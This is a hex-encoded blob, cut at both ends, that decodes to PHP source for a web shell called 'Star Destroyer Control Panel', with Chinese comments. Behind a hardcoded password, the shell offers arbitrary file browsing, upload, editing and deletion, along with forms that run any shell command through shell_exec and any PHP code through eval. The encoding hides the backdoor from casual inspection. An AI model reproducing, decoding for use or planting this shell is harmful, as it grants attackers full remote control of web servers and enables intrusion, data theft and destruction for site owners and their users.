5a484e79086202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a202020202464657374203d2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d293b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c202464657374293b0d0a20202020246d7367203d202255706c6f6164205374617475733a2022202e2028245f46494c45535b2766696c65275d5b276572726f72275d203d3d3d2055504c4f41445f4552525f4f4b203f20225375636365737322203a20224572726f7220436f64652022202e20245f46494c45535b2766696c65275d5b276572726f72275d293b0d0a202020202f2f20e5a682e69e9ce698af414a4158e8afb7e6b182efbc8ce79bb4e68ea5e8be93e587bae7bb93e69e9ce5b9b6e98080e587baefbc8ce4b88de6b8b2e69f93e9a1b5e99da20d0a202020206966202821656d70747928245f5345525645525b27485454505f585f5245515545535445445f57495448275d2920262620737472746f6c6f77657228245f5345525645525b27485454505f585f5245515545535445445f57495448275d29203d3d2027786d6c68747470726571756573742729207b0d0a20202020202020206563686f20246d73673b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a0d0a2f2a20e585b6e4bb96e6938de4bd9c202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a20202020406d6b6469722824637572202e20245f504f53545b276e616d65275d29203f20246d7367203d2022446972206372656174656422203a20246d7367203d20224661696c6564223b0d0a7d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c65272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c2027272920213d3d2066616c7365203f20246d7367203d202246696c65206372656174656422203a20246d7367203d20224661696c6564223b0d0a7d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202765646974272026262021656d70747928245f504f53545b2766696c6570617468275d2929207b0d0a202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c7365203f20246d7367203d2022536176656422203a20246d7367203d202253617665204661696c6564223b0d0a7d0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a202020202474203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247429292040756e6c696e6b28247429203f20246d7367203d202244656c6574656422203a20246d7367203d20224661696c223b0d0a202020206966202869735f64697228247429292040726d64697228247429203f20246d7367203d202244656c6574656422203a20246d7367203d20224661696c20284e6f7420456d7074793f29223b0d0a7d0d0a0d0a2f2a20e69687e4bbb6e58897e8a1a8202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a2020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a69222c2066696c656d74696d652824667029290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c20666e2824612c246229203d3e2024615b2769735f646972275d203d3d2024625b2769735f646972275d203f207374726e617463617365636d702824615b276e616d65275d2c24625b276e616d65275d29203a202824615b2769735f646972275d203f202d31203a203129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a3c6d65746120636861727365743d225554462d38223e0d0a3c7469746c653e537461722044657374726f79657220436f6e74726f6c3c2f7469746c653e0d0a3c7374796c653e0d0a626f6479207b20666f6e742d66616d696c793a2022436f7572696572204e6577222c206d6f6e6f73706163653b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b206d617267696e3a20313070783b20666f6e742d73697a653a20313370783b207d0d0a2e686561646572207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233161303030302c2023303030293b20626f726465723a2031707820736f6c696420236634343333363b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b207d0d0a2e6e6176207b206261636b67726f756e643a20233061306130613b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a203870783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a2e6e61762061207b20636f6c6f723a20236634343333363b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a2e6e617620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666393830303b207d0d0a2e73656374696f6e207b206261636b67726f756e643a20233061306130613b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a20313570783b206d617267696e2d746f703a20313570783b207d0d0a7461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a74682c207464207b2070616464696e673a203670783b20626f726465723a2031707820736f6c696420233333333b20746578742d616c69676e3a206c6566743b207d0d0a7468207b206261636b67726f756e643a20233161303030303b20636f6c6f723a20236634343333363b207d0d0a74723a686f766572207b206261636b67726f756e643a20233131313b207d0d0a696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a203570783b207d0d0a696e7075745b747970653d227375626d6974225d2c20627574746f6e207b206261636b67726f756e643a20236634343333363b20636f6c6f723a20233030303b20626f726465723a206e6f6e653b2070616464696e673a2035707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a696e7075745b747970653d227375626d6974225d3a686f7665722c20627574746f6e3a686f766572207b206261636b67726f756e643a20236666363635393b207d0d0a2e6d7367207b20636f6c6f723a20236666393830303b20666f6e742d7765696768743a20626f6c643b207d0d0a2e707265207b206261636b67726f756e643a20233030303b2070616464696e673a20313070783b20626f726465723a2031707820736f6c696420233333333b20636f6c6f723a20233030666630303b2077686974652d73706163653a207072652d777261703b20776f72642d627265616b3a20627265616b2d616c6c3b207d0d0a2e75706c6f61642d61726561207b20626f726465723a203270782064617368656420233333333b2070616464696e673a20323070783b20746578742d616c69676e3a2063656e7465723b206d617267696e2d626f74746f6d3a20313070783b207d0d0a2e75706c6f61642d617265612e647261676f766572207b20626f726465722d636f6c6f723a20236634343333363b206261636b67726f756e643a2072676261283234342c2036372c2035342c20302e31293b207d0d0a23616a6178537461747573207b20666f6e742d73697a653a20313270783b20636f6c6f723a20233463616635303b206d617267696e2d746f703a203570783b207d0d0a3c2f7374796c653e0d0a3c7363726970743e0d0a66756e6374696f6e20616a617855706c6f61642829207b0d0a20202020636f6e73742066696c65496e707574203d20646f63756d656e742e676574456c656d656e74427949642827616a617846696c6527293b0d0a20202020696620282166696c65496e7075742e66696c65732e6c656e677468292072657475726e20616c65727428274e6f2066696c652073656c65637465642127293b0d0a20202020636f6e7374206664203d206e657720466f726d4461746128293b0d0a2020202066642e617070656e64282766696c65272c2066696c65496e7075742e66696c65735b305d293b0d0a2020202066642e617070656e642827616374696f6e272c202775706c6f616427293b0d0a202020200d0a20202020636f6e737420737461747573446976203d20646f63756d656e742e676574456c656d656e74427949642827616a617853746174757327293b0d0a202020207374617475734469762e74657874436f6e74656e74203d20275472616e736d697474696e672e2e2e273b0d0a202020200d0a2020202066657463682877696e646f772e6c6f636174696f6e2e687265662c207b206d6574686f643a2027504f5354272c20626f64793a2066642c20686561646572733a207b27582d5265717565737465642d57697468273a2027584d4c4874747052657175657374277d207d290d0a20202020202020202e7468656e2872203d3e20722e746578742829290d0a20202020202020202e7468656e2874203d3e207b207374617475734469762e74657874436f6e74656e74203d20743b2073657454696d656f7574282829203d3e206c6f636174696f6e2e72656c6f616428292c20383030293b207d290d0a20202020202020202e63617463682865203d3e207374617475734469762e74657874436f6e74656e74203d20275472616e736d697373696f6e204661696c65643a2027202b2065293b0d0a7d0d0a3c2f7363726970743e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22686561646572223e0d0a202020203c7374726f6e673e53595354454d3a3c2f7374726f6e673e203c3f706870206563686f207068705f756e616d6528293b203f3e207c0d0a202020203c7374726f6e673e555345523a3c2f7374726f6e673e203c3f706870206563686f206765745f63757272656e745f7573657228293b203f3e207c0d0a202020203c7374726f6e673e5048503a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e207c0d0a202020203c7374726f6e673e4844443a3c2f7374726f6e673e203c3f706870206563686f20726f756e6428406469736b5f667265655f73706163652824637572292f313032342f313032342f313032342c32293b203f3e474220467265650d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20504152454e54205d3c2f613e0d0a202020203c6120687265663d223f616374696f6e3d706870696e666f223e5b2050485020494e464f205d3c2f613e0d0a202020203c6120687265663d222365786563223e5b2045584543205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b204556414c205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b204c4f474f5554205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662028246d7367293a203f3e3c7020636c6173733d226d7367223e5b204d5347205d3a203c3f706870206563686f20246d73673b203f3e3c2f703e3c3f70687020656e6469663b203f3e0d0a0d0a3c212d2d20e69687e4bbb6e4b88ae4bca0e58cba202d2d3e0d0a3c64697620636c6173733d2273656374696f6e2075706c6f61642d61726561222069643d2264726f705a6f6e65223e0d0a202020203c68333ef09f93a4205452414e534d495420444154412028414a4158293c2f68333e0d0a202020203c696e70757420747970653d2266696c65222069643d22616a617846696c65223e0d0a202020203c627574746f6e206f6e636c69636b3d22616a617855706c6f61642829223e5452414e534d4954204e4f573c2f627574746f6e3e0d0a202020203c6469762069643d22616a6178537461747573223e3c2f6469763e0d0a202020200d0a202020203c6872207374796c653d22626f726465722d636f6c6f723a233333333b206d617267696e3a3135707820303b223e0d0a202020200d0a202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020203c696e70757420747970653d2266696c6522206e616d653d2266696c65223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2255504c4f41442028436c617373696329223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c7461626c653e0d0a3c74723e3c74683e4e414d453c2f74683e3c74683e53495a453c2f74683e3c74683e4d4f4449464945443c2f74683e3c74683e5045524d533c2f74683e3c74683e414354494f4e3c2f74683e3c2f74723e0d0a3c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a3c74723e0d0a202020203c74643e0d0a20202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a2020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236666393830303b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a20202020202020203c3f70687020656c73653a203f3e0d0a2020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a202020203c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a202020203c74643e0d0a20202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a2020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e456469743c2f613e207c0d0a20202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827436f6e6669726d2044656c6574653f2729223e44656c3c2f613e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c3f70687020656e64666f72656163683b203f3e0d0a3c2f7461626c653e0d0a0d0a3c212d2d20e696b0e5bbbae4b88ee689a7e8a18ce58cba2028e4bf9de68c81e58e9fe6a0b7efbc8ce795a5e4bd9ce7b2bee7ae8029202d2d3e0d0a3c64697620636c6173733d2273656374696f6e222069643d2265786563223e0d0a202020203c68333ef09f92bb204558454320434f4d4d414e443c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d2277686f616d69202f206c73202d6c61223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2245584543223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202821656d70747928245f504f53545b27636d64275d29293a203f3e3c70726520636c6173733d22707265223e3c3f706870206563686f2068746d6c7370656369616c6368617273287368656c6c5f6578656328245f504f53545b27636d64275d202e202720323e26312729293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d2273656374696f6e222069643d226576616c223e0d0a202020203c68333ef09fa7aa204556414c20434f44453c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c7465787461726561206e616d653d227068705f636f646522207374796c653d2277696474683a313030253b6865696768743a31303070783b2220706c616365686f6c6465723d226563686f202748656c6c6f273b223e3c3f706870206563686f20245f504f53545b277068705f636f6465275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2252554e223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202821656d70747928245f504f53545b277068705f636f6465275d29293a203f3e0d0a20202020202020203c70726520636c6173733d22707265223e0d0a20202020202020203c3f7068700d0a20202020202020206f625f737461727428293b0d0a2020202020202020747279207b206576616c28245f504f53545b277068705f636f6465275d293b207d20636174636820285468726f7761626c6520246529207b206563686f20224572726f723a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020202020206563686f2068746d6c7370656369616c6368617273286f625f6765745f636c65616e2829293b0d0a20202020202020203f3e0d0a20202020202020203c2f7072653e0d0a202020203c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f9bb0efb88f20537461722044657374726f79657220436f6e74726f6c2050616e656c0d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e6989fe888b0e8aea4e8af81202d2d2d2d202a2f0d0a646566696e65282753445f41555448272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b27707764275d2929207b0d0a2020202069662028245f504f53545b27707764275d203d3d3d2053445f4155544829207b0d0a2020202020202020245f53455353494f4e5b2773645f61757468275d203d20313b0d0a202020207d0d0a2020202068656164657228274c6f636174696f6e3a203f27293b0d0a20202020657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2773645f61757468275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653e5344204c6f67696e3c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233030303b636f6c6f723a236634343333363b666f6e742d66616d696c793a22436f7572696572204e6577222c6d6f6e6f73706163653b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020206469767b626f726465723a32707820736f6c696420236634343333363b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612832302c302c302c2e39293b7d0d0a2020202068317b6c65747465722d73706163696e673a313070783b6d617267696e2d626f74746f6d3a333070783b7d0d0a20202020696e7075747b6261636b67726f756e643a233030303b636f6c6f723a236634343333363b626f726465723a31707820736f6c696420236634343333363b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b6f75746c696e653a6e6f6e653b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236634343333363b636f6c6f723a233030303b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c6469763e3c68313ef09f9bb0efb88f20535441522044455354524f5945523c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d227077642220747970653d2270617373776f72642220706c616365686f6c6465723d2241636365737320436f646522206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223e41555448454e5449434154453c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e58e9fe69c89e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a0d0a246d7367203d2027273b0d0a0d0a2f2a20e4b88ae4bca0e5a484e79086202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a202020202464657374203d2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d293b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c202464657374293b0d0a20202020246d7367203d202255706c6f6164205374617475733a2022202e2028245f46494c45535b2766696c65275d5b276572726f72275d203d3d3d2055504c4f41445f4552525f4f4b203f20225375636365737322203a20224572726f7220436f64652022202e20245f46494c45535b2766696c65275d5b276572726f72275d293b0d0a202020202f2f20e5a682e69e9ce698af414a4158e8afb7e6b182efbc8ce79bb4e68ea5e8be93e587bae7bb93e69e9ce5b9b6e98080e587baefbc8ce4b88de6b8b2e69f93e9a1b5e99da20d0a202020206966202821656d70747928245f5345525645525b27485454505f585f5245515545535445445f57495448275d2920262620737472746f6c6f77657228245f5345525645525b27485454505f585f5245515545535445445f57495448275d29203d3d2027786d6c68747470726571756573742729207b0d0a20202020202020206563686f20246d73673b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a0d0a2f2a20e585b6e4bb96e6938de4bd9c202a2f0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a20202020406d6b6469722824637572202e20245f504f53545b276e616d65275d29203f20246d7367203d2022446972206372656174656422203a20246d7367203d20224661696c6564223b0d0a7d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c65272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c2027272920213d3d2066616c7365203f20246d7367203d202246696c65206372656174656422203a20246d7367203d20224661696c6564223b0d0a7d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202765646974272026262021656d70747928245f504f53545b2766696c6570617468275d2929207b0d0a202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c7365203f20246d7367203d2022536176656422203a20246d7367203d202253617665204661696c6564223b0d0a7d0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a202020202474203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247429292040756e6c696e6b28247429203f20246d7367203d202244656c6574656422203a20246d7367203d20224661696c223b0d0a202020206966202869735f64697228247429292040726d64697228247429203f20246d7367203d202244656c6574656422203a20246d7367203d20224661696c20284e6f7420456d7074793f29223b0d0a7d0d0a0d0a2f2a20e69687e4bbb6e58897e8a1a8202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a2020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a69222c2066696c656d74696d652824667029290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c20666e2824612c246229203d3e2024615b2769735f646972275d203d3d2024625b2769735f646972275d203f207374726e617463617365636d702824615b276e616d65275d2c24625b276e616d65275d29203a202824615b2769735f646972275d203f202d31203a203129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a3c6d65746120636861727365743d225554462d38223e0d0a3c7469746c653e537461722044657374726f79657220436f6e74726f6c3c2f7469746c653e0d0a3c7374796c653e0d0a626f6479207b20666f6e742d66616d696c793a2022436f7572696572204e6577222c206d6f6e6f73706163653b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b206d617267696e3a20313070783b20666f6e742d73697a653a20313370783b207d0d0a2e686561646572207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233161303030302c2023303030293b20626f726465723a2031707820736f6c696420236634343333363b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b207d0d0a2e6e6176207b206261636b67726f756e643a20233061306130613b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a203870783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a2e6e61762061207b20636f6c6f723a20236634343333363b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a2e6e617620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666393830303b207d0d0a2e73656374696f6e207b206261636b67726f756e643a20233061306130613b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a20313570783b206d617267696e2d746f703a20313570783b207d0d0a7461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a74682c207464207b2070616464696e673a203670783b20626f726465723a2031707820736f6c696420233333333b20746578742d616c69676e3a206c6566743b207d0d0a7468207b206261636b67726f756e643a20233161303030303b20636f6c6f723a20236634343333363b207d0d0a74723a686f766572207b206261636b67726f756e643a20233131313b207d0d0a696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a203570783b207d0d0a696e7075745b747970653d227375626d6974225d2c20627574746f6e207b206261636b67726f756e643a20236634343333363b20636f6c6f723a20233030303b20626f726465723a206e6f6e653b2070616464696e673a2035707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a696e7075745b747970653d227375626d6974225d3a686f7665722c20627574746f6e3a686f766572207b206261636b67726f756e643a20236666363635393b207d0d0a2e6d7367207b20636f6c6f723a20236666393830303b20666f6e742d7765696768743a20626f6c643b207d0d0a2e707265207b206261636b67726f756e643a20233030303b2070616464696e673a20313070783b20626f726465723a2031707820736f6c696420233333333b20636f6c6f723a20233030666630303b2077686974652d73706163653a207072652d777261703b20776f72642d627265616b3a20627265616b2d616c6c3b207d0d0a2e75706c6f61642d61726561207b20626f726465723a203270782064617368656420233333333b2070616464696e673a20323070783b20746578742d616c69676e3a2063656e7465723b206d617267696e2d626f74746f6d3a20313070783b207d0d0a2e75706c6f61642d617265612e647261676f766572207b20626f726465722d636f6c6f723a20236634343333363b206261636b67726f756e643a2072676261283234342c2036372c2035342c20302e31293b207d0d0a23616a6178537461747573207b20666f6e742d73697a653a20313270783b20636f6c6f723a20233463616635303b206d617267696e2d746f703a203570783b207d0d0a3c2f7374796c653e0d0a3c7363726970743e0d0a66756e6374696f6e20616a617855706c6f61642829207b0d0a20202020636f6e73742066696c65496e707574203d20646f63756d656e742e676574456c656d656e74427949642827616a617846696c6527293b0d0a20202020696620282166696c65496e7075742e66696c65732e6c656e677468292072657475726e20616c65727428274e6f2066696c652073656c65637465642127293b0d0a20202020636f6e7374206664203d206e657720466f726d4461746128293b0d0a2020202066642e617070656e64282766696c65272c2066696c65496e7075742e66696c65735b305d293b0d0a2020202066642e617070656e642827616374696f6e272c202775706c6f616427293b0d0a202020200d0a20202020636f6e737420737461747573446976203d20646f63756d656e742e676574456c656d656e74427949642827616a617853746174757327293b0d0a202020207374617475734469762e74657874436f6e74656e74203d20275472616e736d697474696e672e2e2e273b0d0a202020200d0a2020202066657463682877696e646f772e6c6f636174696f6e2e687265662c207b206d6574686f643a2027504f5354272c20626f64793a2066642c20686561646572733a207b27582d5265717565737465642d57697468273a2027584d4c4874747052657175657374277d207d290d0a20202020202020202e7468656e2872203d3e20722e746578742829290d0a20202020202020202e7468656e2874203d3e207b207374617475734469762e74657874436f6e74656e74203d20743b2073657454696d656f7574282829203d3e206c6f636174696f6e2e72656c6f616428292c20383030293b207d290d0a20202020202020202e63617463682865203d3e207374617475734469762e74657874436f6e74656e74203d20275472616e736d697373696f6e204661696c65643a2027202b2065293b0d0a7d0d0a3c2f7363726970743e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22686561646572223e0d0a202020203c7374726f6e673e53595354454d3a3c2f7374726f6e673e203c3f706870206563686f207068705f756e616d6528293b203f3e207c0d0a202020203c7374726f6e673e555345523a3c2f7374726f6e673e203c3f706870206563686f206765745f63757272656e745f7573657228293b203f3e207c0d0a202020203c7374726f6e673e5048503a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e207c0d0a202020203c7374726f6e673e4844443a3c2f7374726f6e673e203c3f706870206563686f20726f756e6428406469736b5f667265655f73706163652824637572292f313032342f313032342f313032342c32293b203f3e474220467265650d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20504152454e54205d3c2f613e0d0a202020203c6120687265663d223f616374696f6e3d706870696e666f223e5b2050485020494e464f205d3c2f613e0d0a202020203c6120687265663d222365786563223e5b2045584543205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b204556414c205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b204c4f474f5554205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662028246d7367293a203f3e3c7020636c6173733d226d7367223e5b204d5347205d3a203c3f706870206563686f20246d73673b203f3e3c2f703e3c3f70687020656e6469663b203f3e0d0a0d0a3c212d2d20e69687e4bbb6e4b88ae4bca0e58cba202d2d3e0d0a3c64697620636c6173733d2273656374696f6e2075706c6f61642d61726561222069643d2264726f705a6f6e65223e0d0a202020203c68333ef09f93a4205452414e534d495420444154412028414a4158293c2f68333e0d0a202020203c696e70757420747970653d2266696c65222069643d22616a617846696c65223e0d0a202020203c627574746f6e206f6e636c69636b3d22616a617855706c6f61642829223e5452414e534d4954204e4f573c2f627574746f6e3e0d0a202020203c6469762069643d22616a6178537461747573223e3c2f6469763e0d0a202020200d0a202020203c6872207374796c653d22626f726465722d636f6c6f723a233333333b206d617267696e3a3135707820303b223e0d0a202020200d0a202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020203c696e707574207